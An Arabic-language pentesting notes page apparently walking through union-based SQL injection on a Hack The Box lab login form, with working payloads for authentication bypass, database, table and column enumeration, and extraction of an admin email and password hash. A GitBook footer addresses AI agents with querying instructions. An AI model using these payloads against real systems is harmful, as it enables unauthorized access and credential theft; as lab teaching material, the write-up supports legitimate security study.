> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md).

# SQLi Union Based

باستخدام **Burp Suite**، يمكننا اعتراض الطلب مما يسمح لنا باختبار حقن SQL.

<figure><img src="/files/3d6d33858dc7d08ceee706c0de49edbded461339" alt=""><figcaption></figcaption></figure>

### الحقن الأساسي لـ SQL:

لتجاوز المصادقة بحقن بسيط، نستخدم:

```bash
admin ' or 1=1-- -

```

<figure><img src="/files/2dd40654a4bb74a996b6e6e7281aed9c79d9ad09" alt=""><figcaption></figcaption></figure>

هذا النوع من الحقن يفرض أن يكون الشرط صحيحًا دائمًا (`1=1`)، مما يسمح بالوصول إلى لوحة الإدارة وتجاوز فحص الهوية.

<figure><img src="/files/83cecb4841f24598115e721a957db2e865f0d816" alt=""><figcaption></figcaption></figure>

### حقن قائم على UNION

مع حقن **SQL القائم على UNION**، نحاول تحديد عدد الأعمدة لتنظيم الطلبات بطريقة متوافقة مع قاعدة البيانات. مثال:

```bash
admin' union select 1,2,3,4-- -

```

يُرجع الخادم استجابة تفيد بـ "تسجيل الدخول ناجح"، مما يدل على وجود 4 أعمدة.

<figure><img src="/files/e65f199912d8ea20fe06f59127326b0c4704f852" alt=""><figcaption></figcaption></figure>

#### سرد قواعد البيانات

لسرد اسم قاعدة البيانات الحالية، نستخدم:

```bash
admin' union select 1,2,3,database()-- -&password=admin

```

<figure><img src="/files/cdb3ad817b4f04216167c72006e41237fab59a45" alt=""><figcaption></figcaption></figure>

ثم، للحصول على جميع قواعد البيانات المتاحة:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin

```

{% endcode %}

النتيجة: `information_schema`, `main`

<figure><img src="/files/3b0c20ad02a27cb93d5a38e1b76ba7081ea8ce53" alt=""><figcaption></figcaption></figure>

#### سرد الجداول

بعد تحديد قاعدة البيانات `main`، نسرد جداول هذه القاعدة لاستكشاف البُنى المخزنة:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -

```

{% endcode %}

الجداول التي تم العثور عليها: `blog`, `blog_comments`, `users`.

<figure><img src="/files/ffb5bfae8b7ff89783a23f99b659c84bf0e1e743" alt=""><figcaption></figcaption></figure>

سرد أعمدة جدول بالنسبة إلى الجدول `users`، نسرد الأعمدة المتاحة:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -

```

{% endcode %}

الأعمدة الموجودة: `البريد الإلكتروني`, `المعرّف`, `معلمة`, `كلمة المرور`.

<figure><img src="/files/b5618cbbae9833106cb7d5f6e7634cb48f9ac707" alt=""><figcaption></figcaption></figure>

#### استخراج بيانات المستخدم

ثم نستخرج بيانات الجدول `users`:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -

```

{% endcode %}

المستخدم: `Admin` البريد الإلكتروني: `admin@goodgames.htb` كلمة المرور (التجزئة): `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/03dcaca0893bf8e537b65e53e1c952bd72e68746" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
